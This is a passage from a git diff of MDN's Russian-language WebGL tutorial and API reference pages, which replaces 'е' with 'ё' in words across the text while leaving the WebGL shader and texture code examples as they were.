Web/API/WebGL_API/Tutorial <h2 id="Перед_тем_как_начать">Перед тем как начать</h2> -<p>Использование элемента <code><canvas></code> - это не сложно, но вы должны понимать основы <a href="/en-US/docs/Web/HTML" title="HTML">HTML</a> и <a href="/en-US/docs/Web/JavaScript" title="JavaScript">JavaScript</a>. <code><canvas></code> и WebGL не поддерживаются в некоторых старых браузерах, но поддерживаются в последних версиях всех основных. Чтобы рисовать графику на canvas нужно использовать объекты контекста JavaScript, который создает графику на лету.</p> +<p>Использование элемента <code><canvas></code> - это не сложно, но вы должны понимать основы <a href="/en-US/docs/Web/HTML" title="HTML">HTML</a> и <a href="/en-US/docs/Web/JavaScript" title="JavaScript">JavaScript</a>. <code><canvas></code> и WebGL не поддерживаются в некоторых старых браузерах, но поддерживаются в последних версиях всех основных. Чтобы рисовать графику на canvas нужно использовать объекты контекста JavaScript, который создаёт графику на лету.</p> <h2 id="В_этом_руководстве">В этом руководстве</h2> @@ -35,5 +35,5 @@ translation_of: Web/API/WebGL_API/Tutorial <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Lighting_in_WebGL">Освещение объектов в WebGL</a></dt> <dd>Как симулировать эффект света в контексте WebGL.</dd> <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL">Анимирование текстур в WebGL</a></dt> - <dd>Как анимировать текстуры; здесь путем отображения Ogg видео на поверхность вращающегося куба.</dd> + <dd>Как анимировать текстуры; здесь путём отображения Ogg видео на поверхность вращающегося куба.</dd> </dl> diff --git a/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html index 57c1b21e35..f1645ba200 100644 --- a/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html +++ b/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL <p><strong>Окружающий свет</strong> освещает всю сцену. Он не направленный и освещает все грани всех объектов одинаково, не зависимо от ориентации граней.</p> -<p><strong>Направленный свет</strong> исходит из определенного направления. Этот свет приходит от настолько удаленного источника, что все фотоны летят параллельно друг другу. К примеру, солнечный свет можно считать.</p> +<p><strong>Направленный свет</strong> исходит из определённого направления. Этот свет приходит от настолько удалённого источника, что все фотоны летят параллельно друг другу. К примеру, солнечный свет можно считать.</p> <p><strong>Точечный свет</strong> исходит из одной точки во всех направлениях. В реальном мире многие источники освещения являются точечными, например электрическая лампочка.</p> @@ -28,11 +28,11 @@ translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL <li>Нам нужно знать направление, в котором распространяется свет. Оно определяется <strong>вектором направления</strong>.</li> </ol> -<p>Затем мы обновим вершинный шейдер, чтобы скорректировать цвет каждой вершины в зависимости от окружающего и направленного освещения с учетом угла падения на грань. Мы увидим, как это делается, когда посмотрим на код шейдера.</p> +<p>Затем мы обновим вершинный шейдер, чтобы скорректировать цвет каждой вершины в зависимости от окружающего и направленного освещения с учётом угла падения на грань. Мы увидим, как это делается, когда посмотрим на код шейдера.</p> <h2 id="Построение_нормали_для_вершин">Построение нормали для вершин</h2> -<p>Сначала нам нужно создать массив нормалей для всех вершин, из которых состоит наш куб. Это будет просто, потому что куб очень простой объект. Очевидно, что для более сложных объектов расчет нормалей будет более затратным.</p> +<p>Сначала нам нужно создать массив нормалей для всех вершин, из которых состоит наш куб. Это будет просто, потому что куб очень простой объект. Очевидно, что для более сложных объектов расчёт нормалей будет более затратным.</p> <pre class="brush: js"> const normalBuffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, normalBuffer); @@ -89,7 +89,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL </pre> -<p>Код уже должен выглядеть узнаваемо. Мы создаем новый буфер, связываем его с рабочим буфером и записываем в него массив нормалей к вершинам при помощи <code>bufferData()</code>.</p> +<p>Код уже должен выглядеть узнаваемо. Мы создаём новый буфер, связываем его с рабочим буфером и записываем в него массив нормалей к вершинам при помощи <code>bufferData()</code>.</p> <p>Затем добавим в <code>drawScene()</code> код, который свяжет массив нормалей с атрибутом шейдера. Таким образом шейдер сможет получить к нему доступ:</p> @@ -114,7 +114,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL } </pre> -<p>В конце нужно обновить код, который строит матрицы для uniform-переменных, чтобы создать и передать в шейдер <strong>матрицу нормалей</strong>, которая используется для трансформации нормалей при расчете ориентации куба относительно направления на источник света:</p> +<p>В конце нужно обновить код, который строит матрицы для uniform-переменных, чтобы создать и передать в шейдер <strong>матрицу нормалей</strong>, которая используется для трансформации нормалей при расчёте ориентации куба относительно направления на источник света:</p> <pre class="brush: js"> const normalMatrix = mat4.create(); mat4.invert(normalMatrix, modelViewMatrix); @@ -166,15 +166,15 @@ translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL `; </pre> -<p>После расчета позиции вершины мы передаем координаты текселя ({{Glossary("texel")}}), соответствующего вершине, во фрагментный шейдер, и начинаем расчет освещения вершины.</p> +<p>После расчёта позиции вершины мы передаём координаты текселя ({{Glossary("texel")}}), соответствующего вершине, во фрагментный шейдер, и начинаем расчёт освещения вершины.</p> <p>Сначала нужно преобразовать нормаль, основываясь на текущей ориентации куба - умножив нормаль вершины на матрицу нормалей. Затем мы можем рассчитать количество света от направленного источника, которое приходит в вершину, посчитав скалярное произведение преобразованной нормали и вектора направления (направления, с которого приходит свет). Если скалярное произведение меньше нуля, то мы принимаем его за ноль, потому что количество света не может быть меньше 0.</p> -<p>После расчета количества падающего направленного света мы можем посчитать финальное освещение, сложив окружающий свет и произведение количества направленного света на его цвет. В результате получается значение RGB, которое используется фрагментным шейдером для изменения цвета каждого пикселя.</p> +<p>После расчёта количества падающего направленного света мы можем посчитать финальное освещение, сложив окружающий свет и произведение количества направленного света на его цвет. В результате получается значение RGB, которое используется фрагментным шейдером для изменения цвета каждого пикселя.</p> <h3 id="Фрагментный_шейдер">Фрагментный шейдер</h3> -<p>Фрагментный шейдер должен быть обновлен таким образом, чтобы он учитывал в значение освещения, рассчитанное в вершинном шейдере:</p> +<p>Фрагментный шейдер должен быть обновлён таким образом, чтобы он учитывал в значение освещения, рассчитанное в вершинном шейдере:</p> <pre class="brush: js"> const fsSource = ` varying highp vec2 vTextureCoord; diff --git a/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html index 0c01467385..1e3a2c7358 100644 --- a/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html +++ b/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html @@ -11,14 +11,14 @@ translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL <h2 id="Задание_цвета_вершинам">Задание цвета вершинам</h2> -<p>В GL, объекты строятся с использованием наборов вершин, для каждой из которых задается положение в пространстве и цвет. По умолчанию, цвета всех остальных пикселей (и все их другие атрибуты, включая положение в пространстве) вычисляются с использованием линейной интерполяции, автоматически создавая плавный градиент. В прошлый раз наш вершинный шейдер не задавал определенных цветов вершинам, а фрагментный шейдер назначил фиксированный белый цвет каждому пикселю, поэтому квадрат целиком был отрисован белым цветом.</p> +<p>В GL, объекты строятся с использованием наборов вершин, для каждой из которых задаётся положение в пространстве и цвет. По умолчанию, цвета всех остальных пикселей (и все их другие атрибуты, включая положение в пространстве) вычисляются с использованием линейной интерполяции, автоматически создавая плавный градиент. В прошлый раз наш вершинный шейдер не задавал определённых цветов вершинам, а фрагментный шейдер назначил фиксированный белый цвет каждому пикселю, поэтому квадрат целиком был отрисован белым цветом.</p> -<p>Предположим, что мы хотим отрисовать градиент, в котором каждый угол квадрата разного цвета: красного, синего, зеленого и белый. Первое, что необходимо сделать - назначить эти цвета четырем вершинам. Чтобы сделать это, нам сначала необходимо создать массив цветов вершин, а затем сохранить его в WebGL буфер. Мы сделаем это, добавив следующий код в нашу функцию <code>initBuffers()</code>:</p> +<p>Предположим, что мы хотим отрисовать градиент, в котором каждый угол квадрата разного цвета: красного, синего, зелёного и белый. Первое, что необходимо сделать - назначить эти цвета четырём вершинам. Чтобы сделать это, нам сначала необходимо создать массив цветов вершин, а затем сохранить его в WebGL буфер. Мы сделаем это, добавив следующий код в нашу функцию <code>initBuffers()</code>:</p> <pre class="brush: js"> var colors = [ 1.0, 1.0, 1.0, 1.0, // белый 1.0, 0.0, 0.0, 1.0, // красный - 0.0, 1.0, 0.0, 1.0, // зеленый + 0.0, 1.0, 0.0, 1.0, // зелёный 0.0, 0.0, 1.0, 1.0 // синий ]; @@ -48,11 +48,11 @@ translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL </script> </pre> -<p>Ключевым отличием здесь является то, что для каждой вершины, мы задаем цвет на соответствующее значение из массива цвета.</p> +<p>Ключевым отличием здесь является то, что для каждой вершины, мы задаём цвет на соответствующее значение из массива цвета.</p> <h2 id="Окраска_фрагментов">Окраска фрагментов</h2> -<p>Чтобы напомнить, как фрагментный шейдер выглядел ранее, ниже приведен его код:</p> +<p>Чтобы напомнить, как фрагментный шейдер выглядел ранее, ниже приведён его код:</p> <pre class="brush: html"> <script id="shader-fs" type="x-shader/x-fragment"> void main(void) { @@ -88,7 +88,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL gl.vertexAttribPointer(vertexColorAttribute, 4, gl.FLOAT, false, 0, 0); </pre> -<p>На этом этапе, вы можете посмотреть <a href="/samples/webgl/sample3/index.html" title="https://developer.mozilla.org/samples/webgl/sample3/index.html">результат работы написанного кода</a>, если используете браузер, поддерживающий WebGL. Вы увидите нечто похожее на следующий рисунок (расположенный по центру в большом черном поле):</p> +<p>На этом этапе, вы можете посмотреть <a href="/samples/webgl/sample3/index.html" title="https://developer.mozilla.org/samples/webgl/sample3/index.html">результат работы написанного кода</a>, если используете браузер, поддерживающий WebGL. Вы увидите нечто похожее на следующий рисунок (расположенный по центру в большом чёрном поле):</p> <p><img alt="screenshot.png" class="default internal" src="/@api/deki/files/4081/=screenshot.png"></p> diff --git a/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html index 706bf00786..5d3b79d1bc 100644 --- a/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html +++ b/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL --- <p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}</p> -<p>Сейчас наша программа рисует вращающийся объемный куб - давайте натянем на него текстуру вместо заливки граней одним цветом.</p> +<p>Сейчас наша программа рисует вращающийся объёмный куб - давайте натянем на него текстуру вместо заливки граней одним цветом.</p> <h2 id="Загрузка_текстур">Загрузка текстур</h2> @@ -52,7 +52,7 @@ function loadTexture(gl, url) { // и к не имеющим размер степени 2, поэтому проверяем, что изображение // имеет размер степени 2 в обеих измерениях. if (isPowerOf2(image.width) && isPowerOf2(image.height)) { - // Размер соответствует степени 2. Создаем MIP'ы. + // Размер соответствует степени 2. Создаём MIP'ы. gl.generateMipmap(gl.TEXTURE_2D); } else { // Размер не соответствует степени 2. @@ -71,15 +71,15 @@ function isPowerOf2(value) { return (value & (value - 1)) == 0; }</code></pre> -<p>Функция <code>loadTexture()</code> начинается с создания объекта WebGL <code>texture</code> вызовом функции {{domxref("WebGLRenderingContext.createTexture()", "createTexture()")}}. Сначала функция создает текстуру из единственного голубого пикселя, используя {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}}. Таким образом текстура может быть использована сразу (как сплошной голубой цвет) при том, что загрузка изображения может занять некоторое время.</p> +<p>Функция <code>loadTexture()</code> начинается с создания объекта WebGL <code>texture</code> вызовом функции {{domxref("WebGLRenderingContext.createTexture()", "createTexture()")}}. Сначала функция создаёт текстуру из единственного голубого пикселя, используя {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}}. Таким образом текстура может быть использована сразу (как сплошной голубой цвет) при том, что загрузка изображения может занять некоторое время.</p> -<p>Чтобы загрузить текстуру из файла изображения, функция создает объект <code>Image</code> и присваивает атрибуту <code>src</code> адрес, с которого мы хотим загрузить текстуру. Функция, которую мы назначили на событие <code>image.onload</code>,будет вызвана после завершения загрузки изображения. В этот момент мы вызываем {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}}, используя загруженное изображение как исходник для текстуры. Затем мы устанавливаем фильтрацию и натяжение, исходя из того, является ли размер изображения степенью 2 или нет.</p> +<p>Чтобы загрузить текстуру из файла изображения, функция создаёт объект <code>Image</code> и присваивает атрибуту <code>src</code> адрес, с которого мы хотим загрузить текстуру. Функция, которую мы назначили на событие <code>image.onload</code>,будет вызвана после завершения загрузки изображения. В этот момент мы вызываем {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}}, используя загруженное изображение как исходник для текстуры. Затем мы устанавливаем фильтрацию и натяжение, исходя из того, является ли размер изображения степенью 2 или нет.</p> <p>В WebGL1 изображения размера, не являющегося степенью 2, могут использовать только <code>NEAREST</code> или <code>LINEAR</code> фильтрацию, и для них нельзя создать mipmap. Также для таких изображений мы должны установить натяжение <code>CLAMP_TO_EDGE</code>. С другой стороны, если изображение имеет размер степени 2 по обеим осям, WebGL может производить более качественную фильтрацию, использовать mipmap и режимы натяжения <code>REPEAT</code> или <code>MIRRORED_REPEAT</code>.</p> <p>Примером повторяющейся текстуры является изображение нескольких кирпичей, которое размножается для покрытия поверхности и создания изображения кирпичной стены.</p> -<p>Мипмаппинг и UV-повторение могут быть отключены с помощью {{domxref("WebGLRenderingContext.texParameter()", "texParameteri()")}}. Так вы сможете использовать текстуры с размером, не являющимся степенью 2 (NPOT - non-power-of-two), ценой отключения мипмаппинга, UV-натяжения, UV-повторения, и вам самому придется контролировать, как именно устройство будет обрабатывать текстуру.</p> +<p>Мипмаппинг и UV-повторение могут быть отключены с помощью {{domxref("WebGLRenderingContext.texParameter()", "texParameteri()")}}. Так вы сможете использовать текстуры с размером, не являющимся степенью 2 (NPOT - non-power-of-two), ценой отключения мипмаппинга, UV-натяжения, UV-повторения, и вам самому придётся контролировать, как именно устройство будет обрабатывать текстуру.</p> <pre><code>// также разрешено gl.NEAREST вместо gl.LINEAR, но не mipmap. gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR); @@ -88,7 +88,7 @@ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE); // Не допускаем повторения по t-координате. gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);</code></pre> -<p>Повторим, что с этими параметрами совместимые WebGL устройства будут допускать использование текстур с любым разрешением (вплоть до максимального). Без подобной настройки WebGL потерпит неудачу при загрузке NPOT-текстур, и вернёт прозрачный черный цвет <code>rgba(0,0,0,0)</code>.</p> +<p>Повторим, что с этими параметрами совместимые WebGL устройства будут допускать использование текстур с любым разрешением (вплоть до максимального). Без подобной настройки WebGL потерпит неудачу при загрузке NPOT-текстур, и вернёт прозрачный чёрный цвет <code>rgba(0,0,0,0)</code>.</p> <p>Для загрузки изображения добавим вызов <code>loadTexture()</code> в функцию <code>main()</code>. Код можно разместить после вызова <code>initBuffers(gl)</code>.</p> @@ -145,7 +145,7 @@ const texture = loadTexture(gl, 'cubetexture.png');</code></pre> indices: indexBuffer, };</code></pre> -<p>Сначала мы создаем WebGL буфер, в котором сохраняем координаты текстуры для каждой грани, затем связываем его с массивом, в который будем записывать значения.</p> +<p>Сначала мы создаём WebGL буфер, в котором сохраняем координаты текстуры для каждой грани, затем связываем его с массивом, в который будем записывать значения.</p> <p>Массив <code>textureCoordinates</code> определяет координаты текстуры, соответствующие каждой вершине каждой грани. Заметьте, что координаты текстуры лежат в промежутке между 0.0 и 1.0. Размерность текстуры нормализуется в пределах между 0.0 и 1.0, независимо от реального размера изображения.</p> @@ -174,7 +174,7 @@ const texture = loadTexture(gl, 'cubetexture.png');</code></pre> } `;</code></pre> -<p>Ключевое изменение в том, что вместо получения цвета вершины, мы получаем координаты текстуры и передаем их в вершинный шейдер, сообщая положение точки внутри текстуры, которая соответствует вершине.</p> +<p>Ключевое изменение в том, что вместо получения цвета вершины, мы получаем координаты текстуры и передаём их в вершинный шейдер, сообщая положение точки внутри текстуры, которая соответствует вершине.</p> <h3 id="Фрагментный_шейдер">Фрагментный шейдер</h3> diff --git a/files/ru/web/api/webgl_api/webgl_best_practices/index.html b/files/ru/web/api/webgl_api/webgl_best_practices/index.html index 64dee04e13..eb5aef450a 100644 --- a/files/ru/web/api/webgl_api/webgl_best_practices/index.html +++ b/files/ru/web/api/webgl_api/webgl_best_practices/index.html @@ -10,9 +10,9 @@ translation_of: Web/API/WebGL_API/WebGL_best_practices <h2 id="Чего_следует_избегать">Чего следует избегать</h2> <ul> - <li>Убедитесь, что ваше приложение не выдает какие-либо ошибки WebGL, возвращаемые функцией <code>getError(). В Firefox при каждой ошибке (до определенного предела) или при любой другой проблеме в работе WebGL выводится JavaScript предупреждение с подробным описанием. Вам же не хочется, что бы ваше приложение выдавало множество ошибок в консоль, не так ли?</code></li> + <li>Убедитесь, что ваше приложение не выдаёт какие-либо ошибки WebGL, возвращаемые функцией <code>getError(). В Firefox при каждой ошибке (до определённого предела) или при любой другой проблеме в работе WebGL выводится JavaScript предупреждение с подробным описанием. Вам же не хочется, что бы ваше приложение выдавало множество ошибок в консоль, не так ли?</code></li> <li>Не следует использовать <code>#ifdef GL_ES в шейдерах WebGL. Несмотря на то что в некоторых ранних примерах используются эти директивы, это не обязательно в том случае, если проверяемое условие всегда истинно.</code></li> - <li>Использование высокой точности (<code>highp</code> precision) во фрагментных шейдерах может приводить к несовместимости вашего приложения с некоторыми устаревшими мобильными устройствами. Вы можете использовать среднюю точность (<code>mediump), но помните, что это может привести к некорректному результату отрисовки из-за потери данных на большинстве мобильных устройств, причем этот некорректный результат не будет заметен на обычном компьютере. В общем, только использование высокой точности (highp) в вершинном и фрагментном шейдерах является более надежными решением, если нет возможности тщательно проверить работу шейдеров на различных платформах. В Firefox версии 11 и выше реализована функция WebGL getShaderPrecisionFormat(), которая позволяет проверить, поддерживается ли высокая точность и, более того, запросить реальную точность всех поддерживаемых квалификаторов точности. </code></li> + <li>Использование высокой точности (<code>highp</code> precision) во фрагментных шейдерах может приводить к несовместимости вашего приложения с некоторыми устаревшими мобильными устройствами. Вы можете использовать среднюю точность (<code>mediump), но помните, что это может привести к некорректному результату отрисовки из-за потери данных на большинстве мобильных устройств, причём этот некорректный результат не будет заметен на обычном компьютере. В общем, только использование высокой точности (highp) в вершинном и фрагментном шейдерах является более надёжными решением, если нет возможности тщательно проверить работу шейдеров на различных платформах. В Firefox версии 11 и выше реализована функция WebGL getShaderPrecisionFormat(), которая позволяет проверить, поддерживается ли высокая точность и, более того, запросить реальную точность всех поддерживаемых квалификаторов точности. </code></li> </ul> <h2 id="О_чем_следует_помнить.">О чем следует помнить.</h2> @@ -22,7 +22,7 @@ translation_of: Web/API/WebGL_API/WebGL_best_practices <li>В частности, использование текстур в вершинном шейдере возможно только если значение <code>webgl.getParameter(webgl.MAX_VERTEX_TEXTURE_IMAGE_UNITS) больше ноля. Как правило, эта возможность не поддерживается на текущих мобильных устройствах.</code></li> <li>Доступность большинства расширений WebGL зависит от клиента. Если это возможно, проектируйте приложение так, чтобы оно оставалось работоспособным даже в случае, когда используемое расширение недоступно. В Firefox версии 10 и выше есть настройка<code> webgl.disable-extensions, позволяющая сымитировать отсутствие всех расширений для проверки переносимости приложения.</code></li> <li>Рендеринг в floating-point текстуру может не выполняться даже если расширение <code>OES_texture_float поддерживается. Обычно это случается на современных мобильных устройствах. Проверить эту возможность можно с помощью функции WebGL checkFramebufferStatus().</code></li> - <li>Вы можете выполнять отрисовку на холсте, реальные размеры которого отличается от значений, определенных в таблице стилей. При проблемах с производительностью рассмотрите возможность рендеринга в более низком разрешении. (<em>Уменьшение области рендеринга ускорит обработку пиксельных шейдеров, например, эффектов постобработки</em>, <em>однако, на скорость работы вершинных шейдеров это не повлияет.</em> <span class="forum_post_content med1" style="word-wrap: break-word;"><span class="ln_height" id="post_text_1166974"><em>прим. перев.).</em></span></span></li> + <li>Вы можете выполнять отрисовку на холсте, реальные размеры которого отличается от значений, определённых в таблице стилей. При проблемах с производительностью рассмотрите возможность рендеринга в более низком разрешении. (<em>Уменьшение области рендеринга ускорит обработку пиксельных шейдеров, например, эффектов постобработки</em>, <em>однако, на скорость работы вершинных шейдеров это не повлияет.</em> <span class="forum_post_content med1" style="word-wrap: break-word;"><span class="ln_height" id="post_text_1166974"><em>прим. перев.).</em></span></span></li> </ul> <h2 id="Общие_советы_по_повышению_производительности">Общие советы по повышению производительности</h2> @@ -30,7 +30,7 @@ translation_of: Web/API/WebGL_API/WebGL_best_practices <ul> <li>Все, что требует синхронизации ЦП и ГП потенциально приводит в уменьшению производительности. Поэтому избегайте в цикле отрисовки следующих вызовов функций WebGL: <code>getError()</code>, <code>readPixels()</code> и <code>finish()</code>. Вызовы функций, получающих значения, такие как <code>getParameter()</code> и <code>getUniformLocation() тоже должны рассматриваться как медленные и их значения следует сохраняться в переменных JavaScript.</code></li> <li>Несколько больших операций отрисовки выполняются быстрее, чем много мелких. Если вам нужно нарисовать 1000 спрайтов, попробуйте реализовать это одним вызовом функции<code> drawArrays()</code> или <code>drawElements(). Вы также можете использовать вырожденные (плоские) треугольники для рисования нескольких объектов за один вызов drawArrays().</code></li> - <li>Уменьшение переключений состояний также увеличивает производительность. В частности, если есть возможность упаковать несколько изображений в одну текстуру <em>(т.н. текстурный атлас, прим. перев.)</em> и отображать требуемое изображение с помощью поправок текстурных координат, то это приведет к уменьшению переключений между текстурами, что увеличит производительность. + <li>Уменьшение переключений состояний также увеличивает производительность. В частности, если есть возможность упаковать несколько изображений в одну текстуру <em>(т.н. текстурный атлас, прим. перев.)</em> и отображать требуемое изображение с помощью поправок текстурных координат, то это приведёт к уменьшению переключений между текстурами, что увеличит производительность. <ul> <li>В некоторых редких случаях разные одноцветные изображения можно упаковать в разные цветовые каналы текстуры.</li> </ul> diff --git a/files/ru/web/api/webglrenderingcontext/activetexture/index.html b/files/ru/web/api/webglrenderingcontext/activetexture/index.html index 4bbea586ed..b23d2c5b8d 100644 --- a/files/ru/web/api/webglrenderingcontext/activetexture/index.html +++ b/files/ru/web/api/webglrenderingcontext/activetexture/index.html @@ -43,7 +43,7 @@ translation_of: Web/API/WebGLRenderingContext/activeTexture <pre class="brush: js">gl.activeTexture(gl.TEXTURE0); gl.getParameter(gl.ACTIVE_TEXTURE); -// вернет "33984" (0x84C0, gl.TEXTURE0 enum value) +// вернёт "33984" (0x84C0, gl.TEXTURE0 enum value) </pre> <h2 id="Спецификация">Спецификация</h2> @@ -70,7 +70,7 @@ gl.getParameter(gl.ACTIVE_TEXTURE); <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p> +<p class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p> <p>{{Compat("api.WebGLRenderingContext.activeTexture")}}</p> diff --git a/files/ru/web/api/webglrenderingcontext/bindtexture/index.html b/files/ru/web/api/webglrenderingcontext/bindtexture/index.html index 2a3fd529b3..38d9a3aaa0 100644 --- a/files/ru/web/api/webglrenderingcontext/bindtexture/index.html +++ b/files/ru/web/api/webglrenderingcontext/bindtexture/index.html @@ -22,7 +22,7 @@ translation_of: Web/API/WebGLRenderingContext/bindTexture <li><code>gl.TEXTURE_CUBE_MAP</code>: кубическая текстура.</li> <li>При использовании {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, дополнительно доступны: <ul> - <li><code>gl.TEXTURE_3D</code>: трехмерная текстура.</li> + <li><code>gl.TEXTURE_3D</code>: трёхмерная текстура.</li> <li><code>gl.TEXTURE_2D_ARRAY</code>: массив двумерных текстур.</li> </ul> </li> @@ -93,7 +93,7 @@ gl.bindTexture(gl.TEXTURE_2D, texture); <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p> +<p class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p> <p>{{Compat("api.WebGLRenderingContext.bindTexture")}}</p> diff --git a/files/ru/web/api/webglrenderingcontext/compileshader/index.html b/files/ru/web/api/webglrenderingcontext/compileshader/index.html index 9ecb9bd735..b68ba5b4be 100644 --- a/files/ru/web/api/webglrenderingcontext/compileshader/index.html +++ b/files/ru/web/api/webglrenderingcontext/compileshader/index.html @@ -50,7 +50,7 @@ gl.compileShader(shader); <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p> +<p class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p> <p>{{Compat("api.WebGLRenderingContext.compileShader")}}</p> diff --git a/files/ru/web/api/webglrenderingcontext/enable/index.html b/files/ru/web/api/webglrenderingcontext/enable/index.html index d7cc40db94..fe955d5073 100644 --- a/files/ru/web/api/webglrenderingcontext/enable/index.html +++ b/files/ru/web/api/webglrenderingcontext/enable/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/WebGLRenderingContext/enable --- <div>{{APIRef("WebGL")}}</div> -<p>Метод <strong><code>WebGLRenderingContext.enable()</code></strong> из <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> активирует определенные возможности WebGL для текущего контекста.</p> +<p>Метод <strong><code>WebGLRenderingContext.enable()</code></strong> из <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> активирует определённые возможности WebGL для текущего контекста.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html b/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html index e91fa4e851..e34cc75d94 100644 --- a/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html +++ b/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html @@ -65,7 +65,7 @@ if (message.length > 0) { <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p> +<p class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p> <p>{{Compat("api.WebGLRenderingContext.getShaderInfoLog")}}</p> diff --git a/files/ru/web/api/webglrenderingcontext/index.html b/files/ru/web/api/webglrenderingcontext/index.html index 2db54961f0..550dc0f367 100644 --- a/files/ru/web/api/webglrenderingcontext/index.html +++ b/files/ru/web/api/webglrenderingcontext/index.html @@ -72,11 +72,11 @@ var gl = canvas.getContext('webgl'); <dt>{{domxref("WebGLRenderingContext.blendFuncSeparate()")}}</dt> <dd>Определяет, какая арифметическая функция используется для смешивания пикселей для RGB и альфа-компонентов по отдельности.</dd> <dt>{{domxref("WebGLRenderingContext.clearColor()")}}</dt> - <dd>Задает значения цвета, используемые при очистке цветовых буферов.</dd> + <dd>Задаёт значения цвета, используемые при очистке цветовых буферов.</dd> <dt>{{domxref("WebGLRenderingContext.clearDepth()")}}</dt> - <dd>Задает значение глубины, используемый при очистке буфера глубины.</dd> + <dd>Задаёт значение глубины, используемый при очистке буфера глубины.</dd> <dt>{{domxref("WebGLRenderingContext.clearStencil()")}}</dt> - <dd>Задает значение шаблона, используемый при очистке буфера шаблона.</dd> + <dd>Задаёт значение шаблона, используемый при очистке буфера шаблона.</dd> <dt>{{domxref("WebGLRenderingContext.colorMask()")}}</dt> <dd>Устанавливает какие цветовые компоненты для включены или выключены при отрисовке или рендеринге на{{domxref("WebGLFramebuffer")}}.</dd> <dt>{{domxref("WebGLRenderingContext.cullFace()")}}</dt> @@ -98,7 +98,7 @@ var gl = canvas.getContext('webgl'); <dt>{{domxref("WebGLRenderingContext.getError()")}}</dt> <dd>Возвращает информацию об ошибках.</dd> <dt>{{domxref("WebGLRenderingContext.hint()")}}</dt> - <dd>Указывает подсказки для определенного поведения. Интерпретация этих подсказок зависит от реализации.</dd> + <dd>Указывает подсказки для определённого поведения. Интерпретация этих подсказок зависит от реализации.</dd> <dt>{{domxref("WebGLRenderingContext.isEnabled()")}}</dt> <dd>Проверяет, включена или нет конкретная способность WebG.</dd> <dt>{{domxref("WebGLRenderingContext.lineWidth()")}}</dt> @@ -106,7 +106,7 @@ var gl = 